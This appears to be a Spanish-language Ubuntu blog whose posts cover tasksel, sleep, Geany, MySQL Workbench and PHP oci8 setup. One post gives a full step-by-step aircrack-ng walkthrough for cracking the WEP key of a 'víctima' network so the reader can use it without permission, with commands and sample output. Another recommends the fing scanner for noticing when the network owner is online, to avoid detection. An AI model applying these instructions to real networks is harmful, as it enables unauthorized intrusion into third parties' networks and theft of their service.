Saludos,

Si te has dado cuenta en Synaptic ha desaparecido la opción de “Marcar Paquetes por Tarea”, bueno básicamente se debe a que no se instaló por defecto un paquete llamado tasksel que es quien cumple con esa función.

Para hacer que esté disponible debes instalarlo primero:

$ sudo apt-get install tasksel

Con esto instalado, cierra y/o abre el Synaptic y verás que ya aparece en el menú Editar -> Marcar Paquetes por Tarea.

Luego ya podrás instalar cosas como Servidor LAMP o lo que quieras sin preocuparte por toda esa selección de paquetes independientes. 😀

Saludos,

Este post es complemento de una entrada anterior Encontrar claves de WiFi o Wi-Fi con cifrado WEP en Ubuntu 10.04 en la cual mirábamos como conseguir una clave de red inalámbrica. Con preocupación para evitar abusar, es bueno saber cuando el dueño está conectado y evitar descargar cosas o disminuirle el ancho de banda.

Es así como les quiero sugerir esta excelente herramienta que cumple con este propósito de una manera espectacular, se llama overlook-fing , funciona en consola y pronto tendrá GUI (aunque creo que es fácil hacerla) la cosa es tan sencilla como esto:

While you were reading this, your network could have been explored” o lo que es lo mismo, Mientras estabas leyendo esto, su red podría haber sido explorada.

1. Descargar del sitio la versión para su OS, en mi caso uso la versión 1.4  de 32 bits, el paquete .deb para Ubuntu 10.10

http://www.over-look.org/site/index.php/fing-download-linux

2. Instalarlo haciendo doble click o por consola:

$ sudo dpkg -i overlook-fing-1.4.deb

Nota, es posible que no puedan instalar el .deb en cualquier versión de Ubuntu entonces se descargan la versión .tgz y les toca manualmente, si tienen dudas me escriben.. pues ya lo hice y funciona

3. Usarlo, solo toca lanzar el comando fing con permisos de superusuario y listo!, he aquí una imagen de él funcionando:

Básicamente nos muestra todos los hosts conectados incluyendo el mismo router, con su IP y su MAC, así identificamos la nuestra y la de los dueños de la red en caso de que hayamos puesto en práctica mi post anterior.

4. Si queremos que no siga escaneando, simplemente presionamos Ctrl + C para terminar.

Actualización (14 febrero 2011):

Realmente el proceso lo hice en xubuntu 10.04, asumí que funcionaba igual por ser mism@ sistema operativo distribución ubuntu, así que si no se quieren complicar por el siguiente error, utilicen una live CD o USB de xubuntu para hacer el proceso.

— El error es Channel Fixed : -1 , es decir no trabaja en el canal que le indicamos y es por culpa de algunos procesos de gnome, ejemplo cuando sale algo así:

Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID    Name
1000    NetworkManager
1001    avahi-daemon
1004    avahi-daemon
1136    wpa_supplicant

++++ Pronto les diré como solucionar esto ++++

Saludos,

A veces es muy útil cuando estamos en algún lugar y nos urge conectarnos a la red de redes y no tenemos opciones cercanas (cafe’s internet, o se nos quedó el modem, etc) , entonces hacemos uso de esto sin abusar.

El proceso es el siguiente:

1. Necesitamos instalar el paquete aircrack-ng para hacer todo el procedimiento, abrir una consola y ejecutar esto:

sudo apt-get install aircrack-ng

Si no tienes internet, descarga los paquetes y los instalas en este orden:

iw_0.9.14-1_i386.deb

aircrack-ng_1.0-1_i386.deb

Para no estar escribiendo sudo en los comandos que siguen, voy a asumir que tienen la consola en modo super usuario es decir, #

2. Luego, debemos saber como se llama el identificador de nuestra red inalámbrica

# iwconfig

En mi caso se llama wlan0

3. Ahora vamos a ver cual es nuestra MAC:

# ifconfig

Entonces anotamos la secuencia que dice direcciónHW que tiene como estructura 1a:2b:3c:4d:5e:f6 (esto es un ejemplo)  lógicamente la de nuestra wlan0 en mi caso.

4. Empezamos el proceso, con el siguiente comando airmon-ng start (nombre de nuestro identificador):

# airmon-ng start wlan0

Esto va a hacer que nuestro adaptador entre en modo monitor y creará un identificador mon0

5. Ahora buscamos las redes que están a nuestro alcance:

# airodump-ng mon0

Ejemplo la red Bavare de esta imagen, de las cuales los datos importantes a anotar son: BSSID, canal (CH), ESSID y que sea WEP el tipo de cifrado (CIPHER) y algo muy importante es que hayan estaciones conectadas a la red eso facilita todo.. ejemplo miren que hay 3 clientes asociados a la red Bavare, tomen nota de la MAC (STATION) de alguno de ellos también, ejemplo 00:17:C4:85:2B:EB

Cuando obtengan algo parecido y anoten esos datos, paren este proceso con Ctrl + C

6. Sigue lo siguiente, airodump-ng -c (canal o CH) -w (nombre del archivo cualquiera para captura) mon0

# airodump-ng -c 1 -w datos mon0

Con esto escucharemos esa red y empezaremos a capturar paquetes en el archivo “datos

DEJAR ESTE PROCESO CORRIENDO EN ESA CONSOLA

7. Ahora abrimos otra consola y hacemos, aireplay-ng -1 6000 -q 10 -o 1 -e (ESSID de la victima) -a (MAC de nuestra victima o BSSID) -h (nuestra MAC) mon0

# aireplay-ng -1 6000 -q 10 -o 1 -e Bavare -a 00:02:CF:BB:C3:93 -h 1a:2b:3c:4d:5e:f6 mon0

DEJAR ESTE PROCESO CORRIENDO EN ESA CONSOLA

Les debe salir algo parecido a esto:

23:49:55  Waiting for beacon frame (BSSID: -- aquí va la mac que salga --) on channel 1

23:49:55  Sending Authentication Request (Open System) [ACK]
23:49:55  Authentication successful
23:49:55  Sending Association Request [ACK]
23:49:55  Association successful :-) (AID: 1)

23:50:05  Sending keep-alive packet [ACK]
23:50:15  Sending keep-alive packet [ACK]

8.  Abrimos otra consola con, aireplay-ng -3 -b (MAC de la victima o BSSID) -h (Nuestra MAC) mon0

# aireplay-ng -3 -b 00:02:CF:BB:C3:93 -h 1a:2b:3c:4d:5e:f6 mon0

DEJAR ESTE PROCESO CORRIENDO EN ESA CONSOLA

Les debe salir algo parecido a esto:

23:51:40  Waiting for beacon frame (BSSID: -- aquí va la mac que salga --) on channel 1
Saving ARP requests in replay_arp-0213-235140.cap
You should also start airodump-ng to capture replies.
Notice: got a deauth/disassoc packet. Is the source MAC associated ?
957423 packets (got 235119 ARP requests and 283871 ACKs), sent 296016 packets...(500 pps)

Toca esperar a que la red capture entre 30.000 y 150.000 paquetes, eso lo ven en la imagen de arriba que dice #Data de la red Bavare

9.  Abrimos otra consola para descifrar la clave, este es el paso final.. les recomiendo esperar a los 150.000 paquetes para ser más efectivos,

# aircrack-ng *.cap

Si hay más de una red en el canal que estamos trabajando es normal que les pregunte que elijan la red, el número de la lista que les ofrece, lo digitan o presionan (y)

Eso nos debe dar un resultado de KEY FOUND como la siguiente imagen

10.  Ahora solo toca parar el estado del adaptador como monitor.

# airmon-ng stop mon0

# airmon-ng stop wlan0

11.  Desactivan y Activan la red inalámbrica en el ícono de red de ubuntu (Click derecho -> Activar red) e intentan conectarse a la red Bavare con la clave encontrada y cuando se conecte probamos que tenga internet.. a disfrutar!!

Esto lo vi y con video en : http://www.mijail.com.ve/2010/07/clave-wi-fi/

Sleep en Linux

Publicado: junio 28, 2010 en General, GNU/Linux
Etiquetas:, , , ,

Saludos,

Esto va como nota en la bitácora, y es que aveces queremos que nuestro sistema lanzare algún comando en determinado tiempo de espera y despreocuparnos de ello.

Bien para esto, existe el comando sleep que permite hacer esta misión tan importante.

[sufijos – opciones]

s = segundos

m = minutos

h = horas

d= días

[modo de uso]

sleep [numero_entero][s|m|h|d];[comando_a_lanzar]

Nota: Los lanzamientos que requieran hacer uso de permisos de root, pueden hacer primero:

sudo -i

ingresan su clave de usuario y ya quedan como usario con privilegios.

Ejemplos de uso:

  • Apagar o reiniciar el sistema en determinado tiempo. Así:

# sleep 30m;halt

Este comando apagaría el sistema en 30 minutos, sin confirmación

  • Iniciar el reproductor de música, etc

$ sleep 3h;audacious

Este comando abriría el reproductor Audacious pasados 3 horas

  • En caso de programar un script.. tal vez, usar así:

$ sleep(3)

Una de espera de 3 segundos (sufijo ‘segundos’ por defecto)

Y bien, ya podrán disfrutar de ello.

Una nota más: dejar minimizado o en segundo plano estas acciones mientras se están ejecutando, si cierras la consola por ti mismo seguro se ejecuta el sleep inmediátamente. 😀

Lanzado Editor Geany 0.19

Publicado: junio 24, 2010 en General

Saludos,

Rápidamente quiero mencionar que ha sido lanzada la última versión de Geany 0.19 y éstas son algunas de sus características:

API:

Se eliminaron algunos elementos obsoletos y se agregaron y mejoraron algunos plugins y librerías.

INTERNACIONALIZACIÓN:

Se agregó un nuevo idioma (ast) y se actualizaron las traducciones para: de, en_GB, es, fr, gl, ja, nl, pt, ru, sl, sv, tr, vi, zh_CN.

VENTANAS:

Soporte para muchos comandos compilados y se agregó (solo para windows) la opción de cambiar entre diálogo de abrir/guardar archivos GTK o nativo del OS.

PLUGINS (Agregados):

Classbuilder: Soporte para crear clases PHP y HTMLchars: Hacer que el plugin recuerde el cambio de caracteres especiales HTML si está activo.

ARCHIVOS DE CONFIGURACIÓN, PLANTILLAS, COMBINACIÓN DE TECLAS y TIPOS DE ARCHIVOS: Mejoras y más.

EDITOR:

Actualizado a Scintilla 2.12

Autocompletado en selección presionando TAB (por defecto) y Enter

Autocompletado de Latex eliminado de geany y movido a plugin.

Para más detalles ver la lista de cambios.

Para descargarlo escoger de acuerdo a tu sistema operativo y Disfruta!

Saludos,

Mysql Workbench

Anteriormente ya mencionado algún lanzamiento de MySQL Workbench y en este momento acaba de salir la MySQL Workbench 5.2.18 Beta 8.

Para que tengan una idea de todo el desarrollo que esta versión (5.2) está atravesando, se ha seguido este ciclo desde Septiembre del 2009 y le he estado haciendo seguimiento y testeando las mismas:

MySQL Workbench 5.2.3 Alpha Available
September 16, 2009 – 10:34 am by tax

MySQL Workbench 5.2.4 Alpha Available
October 7, 2009 – 3:27 pm by tax

MySQL Workbench 5.2.6 Alpha Available
October 21, 2009 – 8:21 pm by tax

MySQL Workbench 5.2.8 Beta Available
November 18, 2009 – 8:19 pm by tax

MySQL Workbench 5.2.10 Beta Available
December 2, 2009 – 12:07 am by tax

MySQL Workbench 5.2.11 Beta 3 Available
December 18, 2009 – 6:28 pm by tax

MySQL Workbench 5.2.14 Beta 4 Available
January 21, 2010 – 1:29 am by tax

MySQL Workbench 5.2.15 Beta 5 Available
January 28, 2010 – 7:34 pm by tax

MySQL Workbench 5.2.16 Beta 6 Available
February 17, 2010 – 6:17 pm by tax

MySQL Workbench 5.2.17 Beta 7 Available
April 2, 2010 – 7:27 pm by tax

MySQL Workbench 5.2.18 Beta 8 Available
April 13, 2010 – 5:50 pm by tax

Actualmente el equipo de desarrollo, se encuentra haciendo las últimas correcciones antes de lanzar una muy buena versión.

Existe un tutorial de inicio en esta herramienta y pueden descargar esta versión para probarla y ver los últimos cambios propuestos.

Ver estas capturas de propuesta para el look and feel:

Pantallazo 1:

Pantallazo 2:

Que tal?

Actualización:

MySQL Workbench 5.2.19 Beta 9 Available
April 16, 2010 – 10:16 pm by tax

MySQL Workbench 5.2.20 Beta 10 Available
April 27, 2010 – 11:26 pm by tax

MySQL Workbench 5.2.21 RC Available
May 12, 2010 – 3:55 pm by tax

testing…

Listo salió la release final 5.2.28

http://wb.mysql.com/

19 Septiembre de 2010

Saludos,

El escenario que estaba trabajando es el siguiente:

Servidor web con LAMP, pero aparece una base de datos oracle para tareas específicas en otro servidor, entonces por defecto no tenemos soporte en nuestro servidor web para conectarnos a este tipo de base de datos y desde luego hay que instalar algunas cosas si no queremos obtener el mensaje de Call to undefined function ocilogon en nuestros scripts de php.

Manos a la obra:

1. Verificar que tengamos instalados estos paquetes (no se si son necesarios todos, información leída de otros blogs):

sudo apt-get install php5-dev php5-cli php-pear libaio1

2. Descargar e instalar el cliente llamado Oracle Instant Client, que se puede descargar desde su sitio web . Actualmente la ultima versión de estos 3 paquetes son la 11.2.0.1.0, que están en .zip o en .rpm y que podemos escoger los rpm y convertirlos con alien, tarea que ya hizo alguien y que he querido usar estos paquetes.deb desde aquí: http://zital.no-ip.org/debian/oracle/ son una versión más viejita pero me ha funcionado a la perfección. Para instalarlos:

dpkg -i oracle-instantclient-basic_11.1.0.1-2_i386.deb
dpkg -i oracle-instantclient-devel_11.1.0.1-2_i386.deb
dpkg -i oracle-instantclient-sqlplus_11.1.0.1-2_i386.deb

La ruta donde quedan estos archivos instalados es: /usr/lib/oracle/11.1.0.1/ esto lo usaremos en otro paso.

No es necesario comprobar que existan estos dos archivos o enlaces a los originales, pero tener en cuenta por si falla algo:

libclntsh.so
libocci.so

3. Luego ejecutar el comando pecl install (PECL es un repositorio de extensiones de PHP, proporcionando un directorio de todas las extensiones conocidas y que alberguen las instalaciones para la descarga y el desarrollo de extensiones de PHP.) , para crear el oci8.so necesario para nuestro objetivo final:

sudo pecl install oci8

Esto nos pide la ruta al directorio de oracle, que es lo que anotamos en el punto 2

Te debe salir algo así:

PHP Api Version:       xxxxxx
Zend Module Api No:    xxxxxx
Zend Extension Api No: xxxxxx
 1. Please provide the path to the ORACLE_HOME directory. Use 'instantclient,/path/to/instant/client/lib' if you're compiling with Oracle Instant Client : autodetect

1-1, 'all', 'abort', or Enter to continue:
  • Escribe el número 1 y presiona enter
  • Lluego escribe esto como ruta o la que corresponda, según la versión que descargaste o donde hayas descomprimido los archivos:

instantclient,/usr/lib/oracle/11.1.0.1/client/lib/

  • Lluego, nuevamente te pregunta, presiona enter para continuar

Si toda ha salido bien, se ha creado el archivo de soporte oci8.so ahora solo toca agregar extension=oci8.so a la configuracion de apache en /etc/php5/apache2/php.ini luego reinicia el servicio:

sudo /etc/init.d/apache2 restart

y verifica con un phpinfo que te salga el soporte para oci8 como muestra esta imagen.

Es todo.. ahora ejecuten su script php de prueba de conexión a la base de datos ORACLE y verifiquen..!!